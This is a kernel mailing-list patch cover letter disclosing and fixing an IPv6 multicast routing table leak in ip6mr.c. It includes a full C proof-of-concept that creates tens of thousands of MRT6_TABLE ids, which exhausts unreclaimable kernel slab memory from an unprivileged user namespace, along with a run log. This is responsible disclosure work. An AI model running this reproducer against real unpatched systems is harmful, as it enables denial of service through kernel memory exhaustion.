From: Zihan Xi <zihanx@nebusec.ai>
To: netdev@vger.kernel.org
Cc: David Ahern <dsahern@kernel.org>,
Ido Schimmel <idosch@nvidia.com>,
"David S . Miller" <davem@davemloft.net>,
Eric Dumazet <edumazet@google.com>,
Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
Simon Horman <horms@kernel.org>,
Patrick McHardy <kaber@trash.net>,
linux-kernel@vger.kernel.org
Subject: [PATCH net v2 0/1] ipv6: ip6mr: fix mr_table leak from MRT6_TABLE
Date: Sat, 5 Sep 2026 16:30:06 +0000 [thread overview]
Message-ID: <cover.1788622674.git.zihanx@nebusec.ai> (raw)
Hi Linux kernel maintainers,
We found and validated a mr_table leak in net/ipv6/ip6mr.c. The bug is
reachable by a process with CAP_NET_ADMIN and CAP_NET_RAW in the target
user and net namespace, including via unshare -Urn.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
MRT6_TABLE is supposed to select an IPv6 multicast routing table id.
ip6_mroute_setsockopt() currently calls ip6mr_new_table() for every
unseen id and links the new mr_table into mr6_tables. ip6mr_sk_done()
only clears mroute_sk and flushes MIF/MFC state, so the table stays
published until the net namespace is torn down.
A raw ICMPv6 socket can therefore loop MRT6_TABLE(fresh id) without
MRT6_INIT, close the socket, and still leave the allocations behind.
The same hole exists after MRT6_TABLE plus a successful MRT6_INIT,
MRT6_ADD_MIF or MRT6_ADD_MFC: DONE or close still leaves an empty
non-default table in mr6_tables.
On an unfixed 7.3.0-rc1 kernel in a 2 vCPU, 2 GB QEMU VM, 30000 ids
grew Slab from 25696 kB to 148400 kB (+122704 kB) and SUnreclaim from
18108 kB to 140812 kB. setsockopt() still returned 0; that run did not
panic. The log below is from that kernel. There is no stack trace to
decode.
This behavior was introduced with multiple-table support. Later
changes only made the path easier to hit, so Fixes: still points at
commit d1db275dd3f6 ("ipv6: ip6mr: support multiple tables").
The patch keeps MRT6_TABLE as a selector: it only stores the chosen
id on the socket. The table is created later, under RTNL, when a
command actually needs it (MRT6_INIT, MRT6_ADD_MIF, MRT6_ADD_MFC, or
MRT6_ADD_MFC_PROXY). That matches existing users such as the ipmr
selftest, which issues MRT6_TABLE and then ADD_MIF without INIT.
The new table is published before INIT/ADD so a VIF or MFC notifier
cannot fire against a tb_id that dump cannot see yet. If that command
fails, the still-empty table is unlinked and freed in the same
syscall. After DONE, close, DEL_MIF, DEL_MFC, FLUSH or device
unregister, an empty non-default table is dropped from mr6_tables.
The device notifier only reclaims when this unregister actually
removed a VIF, so a nested pimreg unregister cannot destroy the table
twice. If DEL_MIF leaves unresolved MFC entries, the expire timer
later queues that reclaim onto RTNL. The default table is left in
place.
The leak is a setsockopt lifetime bug, not a packet-sequence bug, so
the reproducer is a raw ICMPv6 socket program rather than
packetdrill.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
setsockopt() still returns 0 after the fix, so compare Slab and
SUnreclaim in /proc/meminfo before and after. Take those numbers in a
persistent net namespace. unshare -Urn ./poc is enough to prove
reachability, but it destroys the namespace on exit, so the parent
/proc/meminfo cannot show the leftover tables.
The meminfo numbers below were taken with:
./poc 30000 1
On the unfixed 7.3.0-rc1 kernel the loop grows unreclaimable slab; on
the fixed kernel it does not.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute6.h>
#include <netinet/icmp6.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [count] [start_table]\n"
" count: number of new MRT6 table ids to allocate (default: 200000)\n"
" start_table: first table id to use (default: 1)\n",
prog);
exit(1);
}
int main(int argc, char **argv)
{
unsigned int count = 200000;
unsigned int start = 1;
unsigned int i;
int fd;
if (argc > 3)
usage(argv[0]);
if (argc >= 2)
count = strtoul(argv[1], NULL, 0);
if (argc == 3)
start = strtoul(argv[2], NULL, 0);
if (count == 0 || start == 0 || start >= 100000000U)
usage(argv[0]);
fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
if (fd < 0)
die("socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)");
for (i = 0; i < count; i++) {
u_int32_t table = start + i;
if (table >= 100000000U) {
fprintf(stderr, "stopped before invalid table id %u\n", table);
break;
}
if (setsockopt(fd, IPPROTO_IPV6, MRT6_TABLE, &table,
sizeof(table)) < 0) {
fprintf(stderr,
"setsockopt(MRT6_TABLE, %u) failed after %u allocations: %s\n",
table, i, strerror(errno));
close(fd);
return 2;
}
if ((i % 10000) == 0) {
struct rusage ru;
if (!getrusage(RUSAGE_SELF, &ru))
fprintf(stderr,
"allocated=%u current_table=%u maxrss_kb=%ld\n",
i + 1, table, ru.ru_maxrss);
else
fprintf(stderr, "allocated=%u current_table=%u\n",
i + 1, table);
}
}
fprintf(stderr,
"done: allocated %u tables on one socket without MRT6_INIT; closing socket now\n",
i);
close(fd);
sleep(2);
fprintf(stderr, "socket closed; tables persist until netns teardown\n");
return 0;
}
------END poc.c--------
----BEGIN crash log----
Linux syzkaller 7.3.0-rc1-00240-g641d03105cc0 #2 SMP PREEMPT_DYNAMIC Sat Sep 5 21:32:21 CST 2026 x86_64 GNU/Linux
./poc 30000 1
allocated=1 current_table=1 maxrss_kb=1188
allocated=10001 current_table=10001 maxrss_kb=1188
allocated=20001 current_table=20001 maxrss_kb=1188
done: allocated 30000 tables on one socket without MRT6_INIT; closing socket now
socket closed; tables persist until netns teardown
RET:0
before:
MemAvailable: 1907696 kB
Slab: 25696 kB
SUnreclaim: 18108 kB
after:
MemAvailable: 1810360 kB
Slab: 148400 kB
SUnreclaim: 140812 kB
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
ipv6: ip6mr: fix mr_table leak from MRT6_TABLE
net/ipv6/ip6mr.c | 327 ++++++++++++++++++++++++++++++++++++++++-------
1 file changed, 280 insertions(+), 47 deletions(-)
base-commit: 641d03105cc0d2437e32fdeec164f91a4ccef6c4
--
2.43.0
next reply other threads:[~2026-09-05 16:30 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-05 16:30 Zihan Xi [this message]
2026-09-05 16:30 ` [PATCH net v2 1/1] " Zihan Xi
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1788622674.git.zihanx@nebusec.ai \
--to=zihanx@nebusec.ai \
--cc=davem@davemloft.net \
--cc=dsahern@kernel.org \
--cc=edumazet@google.com \
--cc=horms@kernel.org \
--cc=idosch@nvidia.com \
--cc=kaber@trash.net \
--cc=kuba@kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®